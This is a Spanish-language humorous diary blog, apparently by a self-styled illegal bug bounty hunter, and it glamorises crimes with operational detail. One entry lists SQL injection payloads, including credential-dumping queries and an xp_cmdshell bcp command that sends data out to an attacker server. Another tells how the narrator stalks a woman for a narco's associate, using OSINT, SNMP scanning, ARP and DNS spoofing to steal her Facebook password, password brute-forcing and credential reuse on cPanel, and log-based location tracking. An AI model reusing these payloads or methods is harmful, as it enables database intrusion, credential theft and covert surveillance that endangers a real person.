Sábado, 7 de Octubre de 2017: vacaciones forza… todas pagadas.

Querido diario…

Te escribo desde un aeropuerto, ¿dónde?, no te lo puedo decir; ¿esperando que vuelo?, es algo que tampoco te puedo decir.

Bueno… ser buena persona no es precisamente mi mejor talento…

A veces uno no puede resistir las ganas de meter una comilla por todos lados, suena muy guarro, pero es como cuando tienes 15 años y de pronto cuando se apagan las luces dices “¡ay!… se me fue”… bueno, pues así es cuando uno anda usando aplicaciones, de pronto uno quiere comprar calzoncillos y zas “se me fue una comilla” 😛

Bueno, seguramente también recordarán que recibieron una cachetada y probablemente llegó el papá de la ente feminoide con una escopeta… bueno, pues aquí llegaron unos policías, con un juez y me dieron unos tehuacanazos con pocito.

Y es que.. querido diario.. psss… sé qué suena complejo de creer, pero mira.. yo pues nada más le puse una comilla a un nombre, ¿yo cómo iba a saber que eso iba a estar dentro de una variable?, pues si, estaba dentro de una variable, y que un programador no validó bien la variable y entonces cuando yo intentaba sacar mi dinero pues… no podía. ¿Acaso tú no intentarías sacar tu dinero aunque no te deje la aplicación?.

Bueno… no sé, de pronto la comilla se convirtió en un ‘1 or 1=1– y cuando menos me di cuenta, pues…

'>">
' " ) # || + >
%09select 
tab%09
carriage return%13
linefeed%10
space%32
and
or
update
insert
exec
' waitfor delay '0:0:10'--

¿Qué?, ¿tú no usas ese tipo de nombres en tus cuentas bancarias?… pero si son de lo más comunes. De hecho conozco otros…

' group by [columneishons] having 1=1 - -
' union select 1,1,'cosa',1,1,1 - -
' union select 1,1, 99999999999999999,1,1,1 - -
' and 1 in (select 'cosa' ) - -
' and where cosa='cosa' and '1'='1
'; if where cosa='cosa' waitfor delay '0:0:5' --
'; union select if( where cosa='cosa' , benchmark (100000, sha1('cosa')), 'false' ),1,1,1,1;

… y pues bueno, allí estaba yo, metiendo nombres y más nombres a mis cuentas bancarias… y de pronto como que me di cuenta de que la aplicación me arrojaba algo como que users table, cosas tables y pues no sé, quería ver que tables eran esas tables.

SELECT cosa FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tabla')
sp_columns tablename

Luego de la tabla, te das cuenta que hay otras bases de datos…

' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) --

Y entonces dices “ahhh pues de aquí soy”, y quieres ver si puedes sacar unos usuarios y contraseñas

'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' 'from users where login>@varselect @var as var into temp end --

Pero no, no corrí con tanta suerte… ese tipo de errores ya no se dan tan fácil, lo que eso si…

'; create table AttackerTable (data cosa) --
'; bulk insert AttackerTable -- from 'pwdump2.exe' with (codepage='RAW')
'; exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',' MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' --
'; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvendetta -..quesadilla!!' --

Y lo sé.. me pasé.. acto seguido.. estoy aquí, arriba de un avión. Tal vez es un buen momento para escribir algo como:

Toda la información contenida en este diario es ficticia y mero entretenimiento, y/o para fines educativos. El autor no se hace responsable de actos delictivos del mal uso de esta información.

Querido diario… ¿sabías que Timbuktú de verdad existe?.

Viernes, 6 de Octubre de 2017: Ahorro obligatorio

Querido diario…

Yo soy pésimo ahorrando, no sé si sabrás pero desde que tengo recuerdo mis finanzas han sido muuuuuy malas; los bancos no me tienen mucho aprecio que digamos, y ahora que milagrosamente los planetas se han alineado y me ha estado yendo bien económicamente he probado diferentes formas de ahorro e inversión.

Una de las que recientemente he probado se llama Piggo, que es un fondo de inversión “cool”. Su idea es simplificar la inversión y hacerla entendible a un riesgo relativamente bajo. La aplicación a mi me parece malísima, esta pensada a ser completamente móvil, y cuando uno entra a una aplicación web espera tener más opciones que en la móvil, pero aquí es lo contrario. Otra de las ideas de Piggo es que ahorras para objetivos mundanos, en vez de pensar como inversor en cuando es tu margen de ganancia y demás, acá simplemente defines un objetivo “Comprar una casa”, defines tu ahorro inicial “$1000” y luego programas una domiciliazación periódica quincenal o mensual para cumplir la meta, entonces cada que recibas tu sueldo (usualmente en México quincenalmente) puedes programar un cargo automático, para como dicen por allí “si no lo tengo, no me lo gasto”.

La otra opción de Piggo es que defines tu nivel de riesgo… no explicaré mucho eso porque psss es cosa de inversiones, pero el punto es que la aplicación en automático te genera perdidas o ganancias hasta que llegas a tu objetivo, en ese momento deja de hacer los cobros y te congela tu dinero para que puedas retirarlo a tu cuenta bancaria o a la caja chica de Piggo para definir otro objetivo de ahorro. De hecho la clave de todo es que jamás maneja el término inversión, sino todo es ahorro.

Pues bueno… como yo apenas estaba probado si funcionaba o no, la descargué, me registré y al hacerlo te pide crear el primer objetivo de ahorro, como no tenía idea pensé en ponerle “Dinero para calzoncillos nuevos” pero luego dije “nah, que tal si un día tengo que pedir soporte y lee quién me atienda que mis calzoncillos están viejos, entonces le puse “Sexo, drogas & rock ‘n roll”… programé la meta de ahorro, hice mi ahorro inicial, puse el nivel de riesgo, y listo.

Como no fue mucho le puse el 100% del capital a un nivel de riesgo altísimo y un retiro sólo para probar como funcionaba la domiciliazación de ahorros. Todo iba bien, ayer gané bastante y llegué a mi objetivo en dos días. Todo era felicidad, dije “¡ots!, peroooooo.. hoy intenté sacar el dinero para ir a comprar mis calzoncillos nuevos y:

¿Qué pajoooooo?.. pues que la comilla está rompiendo la query. Y ahora mi dinero está encerrado.

Y ahora querido diario… entenderas que es un poco complicado marcar a un call center y decirle a quién te atiende “oye.. ¿sabes?, le encontré un SQL Injection a tu aplicación.. y de pasó deje mi dinero congelado, ¿me puedes ayudar?”.

Después de como dos horas en las que pasé de operador a operador y no entendían como ayudarme porque jamás les había pasado que a alguien se le ocurría poner esa comilla. Me dijeron “no entendemos, pero haremos la transferencia manual el lunes”.

Querido diario… últimamente me pasa que tengo dinero, pero por causas como que no aceptan tarjeta, PayPal, ApplePay o porque básicamente fui bendecido con un talento increible por los dioses para encontrar vulnerabilidades de una forma mágica hasta cuando intento no hacerlo; no tengo dinero.

¡Hey.. no intentes explotar el SQL injection!, es autenticado y en México son mínimo 6 años como delito federal 😉

Miércoles, 4 de Octubre de 2017: NoTrustSex

Querido diario… Bytevick me convenció de organizar un Meetup:

¿Aburrido de las “Security Nights” de $100 dlls llenas de “lauch a Nessus scan as a professional”?, ¿cansado de los cyber-meetups llenos de marcas?

NoTrustSex… digo NoTrustSec es un MeetUp creado por Victor Gomez y un sujeto exiliado en un recóndito desierto, que busca rascar en lo más profundo de tu nostalgia, haciéndote recordar esas noches de IDA, defacements y muchos alert(1) que se han quedado en el pasado bajo ese oscuro traje, y esa apretada corbata.

Este 17 de octubre, en el sur de la ciudad… ve, toca, mira, habla, comparte y aprende… entrada gratuita.

NoTrustSec
Más ‘1 or 1=1– menos sqlmap -u
https://www.meetup.com/es/NoTrustSec/

 

Martes, 3 de Octubre de 2017: sho, sho, sho me paro el taxi

Hoy tampoco haré nada, todo el día escucharé la misma canción hasta que sea mañana.

Ouuuu: quiero comprar una máquina de palomitas.

Un amigo me ofreció empleo en Singapure… hum.. dice penetration tester, pero se lee más como application security, buscar vulnerabilidades en aplicaciones de bancos asiáticos, leer código, revisar API’s hum… ¿por qué alguien querría ir a hacer eso a uno de los países más grandes de TI en el mundo?.

Ouuu.. soy un panque:

[inserte aquí emoticón del monito durmiendo en la cama]

Domingo, 1 de Octubre de 2017: Una mala mujer

Querido diario… es domingo. Usualmente los domingos no se hace algo… y probablemente sólo te habría contando que vi vídeos de Experimentos Caseros probando la comida militar de Timbuktu, o que Natalia se subió a un inflable de Star Wars y se cayó… pero no; no fue así.

Desperté, bañé, vi que el lavabo que se había descompuesto mágicamente se arreglo sólo; y me fui a desayunar a un restaurante cercano a donde vivo, se llama la Plazita, aunque yo le llamaría “La casa de los huevos”, porque tiene muchos tipo de huevos, de hecho lo que hago es que cada domingo pido una forma diferente y así hasta dar toda la vuelva al menú y de regreso. Lo sé, tengo un problema… como te habrás dado cuenta que los pocos días que he escrito en ti, mi ingreso económico es un poquito inestable y en Mexicali no hay muchos sitios donde acepten tarjetas de crédito, así que usualmente tengo que comer en los mismos sitios; donde si acepan.. es malo porque mi alimentación es un poco monótona, pero es bueno porque tengo muchos doblones en Foursquare 🙂

Pero bueno… dejando a un lado a  comida; estaba yo tranquilamente desayuno cuando de pronto Mam me marcó… así es él, de pronto marca en los momentos más impredecibles… pfff.. ¿domingo?. Siempre me ha desconcertado mucho, lo primero que me dijo al responder fue “ese jugo de naranja se ve muy ácido, pídelo con un toque de zanahoria, esta buenísimo”. Así es, a veces siento que me tienen observado las 24 horas del día.. y no, no me mal entiendas, no es que nunca lo haya visto, si le veo, y le veo muy seguido, nos llevamos muy bien; todos sus cercanos y otros como yo dicen que tengo bastante influencia en él; y realmente me agrada. Sólo a veces me asusta un poco… pero creo que trabajamos bastante bien; es una relación “ganar-ganar” como diría él, o como digo yo… bueno, en realidad yo no digo nada.

Mam me tenía una misión… si, en domingo. Tenía que entregar un informe detallado de la ubicación de una muchacha, horarios y periodos de tiempo en los que estuvo allí; obviamente me dirás “pues te subes a un taxi, la sigues todo el día y arreglado”, bueno… no exactamente, había dos problemitas, el primero; no estaba en la misma ciudad que yo, y la otra… era la vieja no-oficial de un narco. W¡Ups!… ¿es en serio Mam?”, no, no.. no me mal interpretes, no reclamaba por lo del narco, reclamaba porque era domingo.. que más quisiese yo que me cachen y me maten rápida y fríamente, eso resolvería todo.

En fin, terminé mis “Huevos planos”, que la verdad recomiendo bastante… son huevos estrellados sobre unas enchiladas de chorizo con papas; peroooo.. en vez de mole, tiene como extraña salsa de chile pasilla muy buena; sólo falta que pique, pero en el norte no comen chile. Pagué, y entonces me dispuse a trabajar.

Primero que nada había que analizar al objetivo:

No es por ser prejuicioso, pero… la verdad es que no esperaba algo diferente. Analicé un poco de su información, como recordarás el día que tuve que embolsar al pobre Alonso Ríos, pues bueno, en la vida todo son metadatos; y grrr.. esta tipa estaba muy fea como para dedicarle tiempo; y lo más importante ¡era domingo!. Podría haber intentado agregarla como amiga para poder monitorear sus conexiones, la mayoría de las personas dicen que probablemente mi única verdadera habilidad es que tengo mucha facilidad para engañar personas; pero… no tenía tiempo para eso y no me imaginaba pasar horas hablando con la ente feminoide objetivo para poder extraer algo de información útil de ella. Así que optamos por la segunda fase.. ¡metadatos!, para ello hay una herramienta que me gusta mucho; originalmente es una herramienta de pentesting que se usa para hacer parte del scouting de las empresas cuando se les están haciendo pruebas; pero en las últimas versiones también han agregado unas transformaciones (así es como le llaman a los filtros de búsqueda) para poder sacar datos personales de personas, validación de correos electrónicos, URL’s, algunas veces se pueden extraer números telefónicos, personas con las que se ha estado escribiendo, etc… es una maravilla.

Ouuu algo que también esta muy bueno de Maltego es que puedes pasarle un objeto de redes sociales, como puede ser un perfil de Facebook, un mensaje, un twitteo; y a partir de eso te busca toda la información relacionada. No importa que tengas los permisos de privacidad más estrictos, que bloquees gente o lo que sea; en algún punto un like, un contacto, un comentario; lo que sea que hayas hecho en el perfil de alguien que no tenía tantas restricciones como tú, o el uso de aplicaciones como Spotify que usan Facebook como plataforma de autenticación, van a ser que de información.

Después de agregar la información con la que cuentes, aunque no sea mucha, es cosa de dar click derecho “All transforms”  y esperar… y esperar… y esperar… (es que es Java coff.. coff..). En lo que esperaba me puse a ver Doctor Who 🙂

Y después de eso, averigüe la dirección de la ente feminoide objetivo, la cual pude visualizar con Google Maps, pero hum.. bueno, su casa estaba fea, digamos que si se nota que no es la oficial. Además pude saber en donde trabaja, lo cual fue un golpe de suerte. Es cajera en un restaurante de wraps de cadena, que justamente también tiene sucursales en Mexicali… y bueno, todo mundo sabe que cadenas igual a puntos de venta. Como ya eran las 3pm y empezaba a hacer hambre me fui caminando al primer sitio que encontré y al llegar pedí un Wrap Glee (tiene arándanos, sabe rico) y le pedí a la cajera si me podía pasar su clave de wireless. Aquí de nuevo tuve bastante suerte, porque podría haber sido que tuviesen una wireless para clientes/invitados, pero no.. la wireless era la misma que donde estaba conectada la caja.

El siguiente paso era revisar si tenía visibilidad de otros segmentos de red, como podía ser Monterrey, que es donde ella vive; para eso, utilice una herramienta que se llama IP Network Browser. IP Network Browser es una herramienta que sirve a los administradores de red para obtener y operar ciertas cosas de los dispositivos, pero puede ser utilizada muy bien para hacer exploraciones. Lo mejor de todo es que muchos dispositivos de red usan SNMP para comunicarse y herramientas de NOC lo usan para medir el performance de la red, así que muuuuy rara vez esta filtrado por firewalls; y pocas veces es advertido por IPS/IDS:

Para utilizar IP Network Browser hay que pagar, pero nada que no se pueda conseguir en el warez; se abre, se le asigna el rango de IP’s a escánear y se le configuran las community string. Hay que ponerse creativos, obvio las por defecto.. pero ¡hey!, estaba en restaurante de wraps, he visto empresas transnacionales usar “public”, así que, Querido Diario.. guarda tus juguetitos de SNMP brute force para otra ocasión… sigue los consejos del gran, único, el increíble vendetta… antes de usar la fuerza bruta hay que ser un poco más creativos.

El objetivo de utilizar IP Network Browser es encontrar un dispositivo que haga uso de alguna de las community string que hemos configurado y ya que estemos allí analizar las rutas para ver cual es nuestra visibilidad. Ya que encontramos un router, es cosa de pasárselo al Sonar para mapear tooooooodo lo que podamos ver con ese dispositivo.

Añadimos el equipo que hallamos encontrado..

Y esperamos viendo otro capítulo de Doctor Who:

¿Para qué hice esto?… bueno, era o que me iba a Monterrey o que podía ejecutar el ataque desde Mexicali. Ya con la red toda mapeada, algo que me di cuenta es que en términos prácticos la red era plana. Es decir, tenía visibilidad desde cualquier punto de la red hacia cualquier otro punto de la red; por lo cual, sólo lancé un análisis de vulnerabilidades con Nessus a todo el rango de Monterrey (qué por cierto, no sé ve porque lo difumine, pero estaba bien identificado de donde era cada host), y encontrar el segmento donde estaba ella.

Ya que encontré el segmento de ella, ahora si, debía de encontrarla específicamente a ella, y para eso, debía de saber justo el momento en el que ella se conectase a Facebook (al menos por lo que vi, es muy fan de las redes sociales… y de los antros del Barrio Antigüo).

¿Cuantas personas puede haber en un local de wraps?, ¿2?, ¿3?, si hago un ARP poisoning a todos para un DNS Spofing, no va a pasar nada.

Sniffe todo Facebook, Instagram.. y si, no tardé mucho en verle conectarse y poder interceptar las credenciales.. la contraseña era “ensalada69″… la verdad es que es una contraseña que yo habría usado 😛

Ya dentro leí sus chats, ya tenía un registro completo de todos los sitios a los que iba, las personas con las que hablaba; bueno, Señor Narco… si, era una mala mujer.

Ahora sólo me faltaba poder generar la línea de tiempo para poder investigarla al menos 24 horas, tal cual me había pedido Mam. ¿Cómo?, bueno, encontré que a ella le gustaba mucho entrar a un blog de maquillaje, que era de un amigo suyo, y era su estilista. ¿Entrar a una estética?.. psss total, si he hackeado ciudades completas, una raya más al tigre.

Eso iba a ser mucho más fácil, simplemente era un WordPress, bastante viejo; configuré una lista de passwords de leaks que he ido reuniendo con el tiempo de Twitter, LinkedIn y obvio el viejo RockYou. Lo metí al Intruder y esperé… (tuve suerte, no había captcha); los planetas se alineaban: “papichulo1987”.. ¿qué le pasa a la gente con sus contraseñas?. Realmente no me importaba el blog, lo que hice fue probar la contraseña para ver si podía acceder al CPanel del hosting del blog que estaba hosteado en GoDaddy, y; como casi todo mundo, incluyéndome, la contraseña era la misma.

Entre al CPanel y busqué la dirección IP de salida del local de wraps en los logs del Apache; una vez que la encontré busqué el user-agent, no de la computadora desde la que entraba, sino del celular. Resultó ser un :

Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

¿LG?, más evidencia de que definitivamente ella vieja no oficial, pero después de haber leído sus chats, le había perdido la compasión.

Una vez que tuve el user-agent lo empecé a buscar en el raw log de apache, hice un grep y saque todas las requests hechas por ese user-agent; así que empecé simplemente a copiar las IP’s en Google y analizar la ruta.

Pude encontrar a través de las IP’s que su celular era Telcel, que en su casa tiene contratado Izzi, que en el trabajo se la pasa conectada al Facebook; que tiene hábitos de entrar al blog por la mañana, a medio día y antes de irse del trabajo… y así, pude entregar una línea de tiempo de todos los lugares físcos en donde ella había estado (con un margen de error), pero de unos cuantos metros.

Lo bueno de ser un bug bounty hunter, es que no tengo que hacer presentaciones ejecutivas para directores; escribí todo en un correo, mandé una foto con mi línea de tiempo y las ubicaciones donde ella había hecho peticiones; incluyendo una casa a la que parece iba mucho; y no, no era la suya… quise creer que sería la del Señor Narco, pero no parecía una casa de un Narco.

Mandé el correo y le avisé a Mam… me fui al Hooters; no me he sentido muy bien últimamente, así que sólo pedí alcohol, del fuerte.

Betty, la mesera, es genial. Siempre me regala bebidas… dice que los chilangos tristes necesitamos de menos poder olvidarnos de todo. Una hora más tarde recibí un SMS de un depósito en mi cuenta. Sólo por confirmar le marqué a Mam para preguntarle si de nuevo iba a tener que tomar un vuelo para embolsar a alguien, porque estaba un poco borracho y se me iba a dificultar un poco… se rió; y me dijo que pidiese un tequila, que el bourbon no es de hombres. Obvio miré a todos lados, no para cuidarme, la verdad si hubiese visto a Mam allí le habría invitado un trago, me habría dado gusto platicar con un amigo, o lo que sea que seamos.. ¿empleado – jefe?.

Hum… terminé, pedí un taxi… grrr.. hay un problema horrible con los taxis de Uber de Mexicali; si los pides con tarjeta te cancelan, forzosamente quieren pago en efectivo; me cancelaron 6 antes de poder tomar uno. Fue un domingo, hum… no fue un domingo normal.

Querido diario… ¿crees que algún día vuelva a tener un empleo normal?… daría lo que fuese por haber hecho ese DNS spoofing a una aplicación dentro de una intranet para tomar usuarios de dominio y hacerme de la administración de una empresa.. no para hum…

Buenas noches, querido diario..

Sábado, 30 de Septiembre de 2017: Como quedarte sin comer teniendo dinero

Querido diario… tengo hambre, me gruñe la panza, me duele la cabeza; creo que me voy a desmayar.

Hoy desperté y dije “¡Ahhhhh! Santo Chucho Cristo Redentor; hoy va a ser un día muuuuuy productivo para mi, voy a cambiar el mundo, voy a hacer ejercicio, voy a cocinar comida saludable, voy a buscar un empleo decente… ah.. si, hoy es un nuevo día, lleno de esperanzas y expectativas.. ala, mira…. que hasta el horóscopo dice que hoy es un día de cambio”; y pues si, todo iba bien hasta que:

Y bueno… la buena noticia es que; mi amiga Kar… bueno esto es un diario de un bug bounty hunter ilegal hay que proteger la identidad de las personas,… mi amiga Cinthya consiguió su jersey de Club de Cuervos, también la buena noticia es que mientras tooooodos estaban trabajando, aburridos es sus trabajos, pues yo… creo que fui el primero de todas las personas que conozco en ver la nueva temporada de Club de Cuervos completa; la mala noticia es que no trabajé, pero la peor de las peores noticias es que ¡no comí!.

¿Y por qué no comí?, bueno… pues primero me pasé toda la mañana viendo la serie, de pronto empezó a hacer hambre y dije “ahhhh… pues creo que es tiempo de comer”, pero el día de ayer me di cuenta que este mes debo como $8, 000 de tarjeta de crédito, ¡sólo de taxis! (vivo en un sitio en donde es imposible salir a donde sea si no es en taxi), más todo lo demás. Así que no podía usar mi tarjeta para pedir comida, vi mi cuenta de PayPal y ouuu.. tenía mágicos $0, y luego vi y ya eran las 3:09pm, lo cual en tiempo real es las 5:09pm, ósea.. ya no alcanzaba a hacer una transferencia para poder comprar alimento.

¡Diablos!, ¿cómo podía conseguir para pedir algo de comer?…. hum… ¿sería que los dioses bendecirían mis santas manos para encontrar una vulnerabilidad en algún bug bounty y poder tener dinero en mi cuenta de PayPal para pedir comida?.

Empecé a ver el listado de los diferentes bug bounties disponibles, la mayoría habían sido lanzados entre lunes a martes, así que encontrar una vulnerabilidad sencilla y rápida iba a ser complicado.

Mucha gente puede que haya leído la metodología de Jhaddix, bueno… si, funciona, tiene coherencia, y el básicamente te dice como cubrir la mayor parte de las vulnerabilidades de una aplicación web en un par de horas.. “mayoría”, porque yo creo que las vulnerabilidades más complejas de explotar que tienen que ver con la lógica de la aplicación, que generan más impacto y por ende más dinero, no las vas a encontrar; pero el puntoooo es que a partir de que publicó su metodología puedes ver a un montón de bug bounty hunters buscando los famosos “juicy bugs” como desesperados para llevarse sus $50 a $100 dlls… ¿esta mal?, obvio no… los bug bounty hunters somos la basura de la seguridad, ya hemos caído muy bajo al dedicarnos a esto, ponernos pikys por como buscas tus fallos sería un poco tonto.

En fin, la verdad es que $50 dlls eran más que suficientes para comer, pero… hum… bueno, no perdía nada con intentar un “juicy bug”, además cuando yo revisó una aplicación, no importa que el bounty ya llevé tiempo de liberado; siendo que algún día fui un consultor en seguridad informática respetable sigo todos los pasos de mi metodología y hago revisiones exhaustivas. Así que siempre empiezo lanzando algunos scripts, scanners y listas precargadas para encontrar fallos.

Una de las listas que ejecutó es para la búsqueda de archivos sensibles, por allí en ingles encontrarán esto como “information leak”, aunque incluso podría entrar como en configuration management, debido a que es el sysadmin el que debió de haberse asegurado que el entorno donde ejecuta la aplicación esta limpio… bueno, ¿qué que quiere decir todo esto?, pues nada más que encontramos un archivo que no debía de estar allí.

Hay varios tipos de archivos “sensibles” y no tan sensibles que te puedes encontrar, como por ejemplo un index.jsp que alguien haya cambiado de nombre por un index.jsp_, index.jsp.bk, index.jsp.old, etc… tú me entiendes, ¿no?; algunos de prueba como test.aspx, algunos index.html viejos, confs.php, archivos de properties, o algo así. La verdad es que son un montón de tipos, además no hay que olvidar directorios sensibles, paths comunes como un /admin/, /private/, etc, etc, etc, etc…

Yo lo que hago es que por allí… la verdad no recuerdo donde, descargue ya unas listas que incluyen un montón de listas de posibles archivos sensibles, paths comunes, archivos de configuración que varios manejadores de versiones o herramientas de QA y deployment van dejando; y lo que hago es que utilizó eso para buscarlas. Ahora, yo lo hago usando Burp Suite, perooooo, hay herramientas que dentro de sus pruebas hacen esto. Por ejemplo Nikto o Wikto, yo siempre pensando que es una herramienta muy chafa, como que nada más toma esas listas de búsqueda, y la GHDB y ¡zas! manda requests y por banner trata de identificar vunerabilidades, o por código de error… la verdad no me gusta, y si hay detrás un IPS o un WAF, olvídate, te van a cachar.. incluso algunas veces ni acaba si estas en un entorno Cloud, el balanceador te va a ir limitando las requests. Por otra parte también los escáners de aplicaciones hacen esto mismo, con listas internas… Acunetix es muy común que encuentre estos archivos; peroo.. hum.. aunque lo puedas encontrar con un escáner, de todas formas para un bug bounty vas a tener que mostrar la request manual; y la otra es que yo configuró muy tranquilos los escáners, porque casi todos los bounties están en la nube y también genera mucho ruido su uso; además de que muchos bounties como los de Bugcrowd y HackerOne están en producción… así que seguro tienes algo allí antes de la aplicación que te va a parar.

Lo que yo hago es cargar mis listas en Burp Suite.. tiene dos objetivos, uno de ellos es que es una validación “manual”, que en caso de encontrar algo lo que hago es poner como evidencia una screenshot del response donde se vea el contenido del juicy file; y la otra es que no siempre te tienes que fijar en los error codes, ósea si un 200 es un OK, y un 404 es un file not found, peroooo… en estos tiempos de los frameworks fancy para front end, te vas a encontrar muchos 3xx con redirects o 200 pero que en realidad regresan JSON’s con 1’s, o’s, trues, falses o vacíos; que a pesar de eso puedes seguir identificando por el tamaño del response.

Lo sé, lo sé.. más de un pentester acaba de suicidarse al leerme en este momento.. pero muchachos, ustedes sigan usando Hugo Boss y viviendo en ciudades llenas de tecnología, yo no puedo sentarme con un cliente a perdirle que me levante un ambiente de testing o de stage; yo encuentro fallos como sea y en donde sea, porque sino, no como; y en donde vivo no hay nada de tecnología.

La verdad que hacer esto es sencillísimo… abres tu navegador, configuras el proxy y hacer una petición a la aplicación o al path específico que quieres analizar; teóricamente si, debieses de analizar todos los paths que te encuentres en tu spydering.

Click derecho y mandas tu request al Intruder, agregas un comodín al final del path…

Y en Payloads cargas la lista de tus más common files… (ya te dije, no se de donde saque la mía, pero… bueno, si te interesa, luego te la pasó).

Aquí las demás opciones no importan, así que le das con un one shot y si quieres puedes jugar un poco con los time outs o los threads, pero en general si estas en testing o stage, pues no importa; si estas en productivo sal por TOR o ProxyChains y ya.

Bueno… que al final la cosa es que encontré un info.php.. ¿por qué razón los infophp() siempre se llaman info.php?… no entiendo, podrían llamarse como fuesen, pero siempre se llaman así. Un “juicy file” muy poco juicy.. pero lo reporté, no me tardé ni 5 minutos, y me pagaron $150 dlls; al parecer ese bounty llevaba una semana y nadie lo había reportado aun.. si, el gran Quetzatcoatl estaba de mi lado. Al fin tenía dinero. Marqué a Pizza Ring y dije.. bueno, voy a pedir la pizza de cheetos, que si no me voy a morir de la curiosidad. Transferí los $150 dlls a mi PayPal y justo en eso me llegó un correo.

Era tan simple el bug que me pidieron hacer el path verification cuanto antes. Sólo mandé un replay del request donde apareció el info.php y me pagaron $75 dlls extra.. bien, tenía $225 dlls para comer. Así que marqué de nuevo a Pizza Ring y pedí un ponche.

40 minutos después llegó el repartidor.. salí en pijama y pantuflas; y mis únicos $10 en efectivo. Le dije que no tenía dinero, que me acercase su lector de Apple Pay… “¿mi qué?”… esa fue su respuesta. Fue raro… viví dos años en un pueblo, lejos de la tecnología y las comodidades usuales de la civilización, ahora vivo en una ciudad, pero es una ciudad rara.. donde no usan tarjetas de crédito. ¡En serio!, no tarjeta, no PayPal, no Samsung Pay, no Apple Pay, no Google Pay, no Pay, Pay… dinero, en efectivo, como los cavernícolas cuando negociaban los ribeyes de triceratops con el T-Rex. Tenía $225 dlls en mi PayPal, tenía una pizza frente a mi y el pizzero se la iba a llevar porque quería un billete.

¿Es en seriooooo? </acento_cachanillo>

Y después de rogarle que me fiase la pizza, porque de todas formas nadie estaba tan menso como para pedir una pizza de cheetos, se iba a hacer dura y la tendrían que tirar, se llevó mi pizza. Son las 23:17, mi estomago gruñe, gané los $225 dlls más fáciles de mi vida, y no tengo como comprar comida. Después de todo, Quetzatcoatl no me bendijo tanto.

¡Oh!, por cierto querido diario… cada vez voy a escribir más poético en ti, porque tomé un taller de cuento mexicano en el CEART.

Pero no entendí mucho la verdad, pero no importa, porque cuando Belinda sea presidenta todo va a cambiar; llegará la tecnología a Mexicali y habrá montones de empresas de seguridad informática que busquen desesperadamente ex consultores como shoooo…

¡Diablos! D: si tengo hambre…

 

Viernes, 29 de Septiembre de 2017: Cosas que enamoran

Querido diario…

¿Qué? D: … ¿creías que hoy de nuevo te iba a contar una historia genial?… pues obvio no, ayer tuve que desaparecer a un descuartizado, ni que fuese james Bond…

Hoy me comporté como una persona normal y me la pasé haciendo documentos, contratos, planes de trabajo, terminé de ver la segunda temporada de Rick & Morty, me di cuenta que estoy endeudado en mi tarjeta de crédito, compré unos boletos para ir a ver Mi vecino Totoro con Dania Pelo Morado (en preventa y ya había muchos ocupados) y hum.. ¡oh si!.

Leí una investigación publicada por mi amigo nitr0us en donde mostró varias vulnerabilidades en diferentes aplicaciones para trading: http://blog.ioactive.com/2017/09/are-you-trading-securely-insights-into.html.

Me pareció muy interesante porque desde hace un tiempo he estado haciendo trading tanto con pesos mexicanos, dólares, euros, ETH y Bitcoins, es una gran cantidad de dinero la que se mueve por esos medios y esas vulnerabilidades; como el mismo lo dice, son cosas que ya están resuelvas en varias aplicaciones de mucho menor impacto.

Sigo planeando algo muy interesante para el 17 de Octubre en el Distrito Federal, pero no adelanto mucho porque aun no tengo mucho que adelantar. Y… bueno, he aquí una tabla de syscalls para muchas versiones de Windows: https://github.com/tinysec/windows-syscall-table

¿Queeeeeé?, te lo dije, soy un bug bounty hunter, un día salvo al mundo, al otro mató a alguien y al siguiente me quedó tirado en casa viendo series en calzoncillos con aroma a lavanda. La vida es dura.

¡Ahhhh!, bueno, ríete un poco.

A esa imagen yo la denomino: Cosas que enamoran.

Bueno.. nota final, querido diario… la realidad es que hoy estuve muy ocupado con algo que te va a encantar, nos vamos de viaje próximamente; perooooo…. aun no te puedo decir a donde ni porque 😉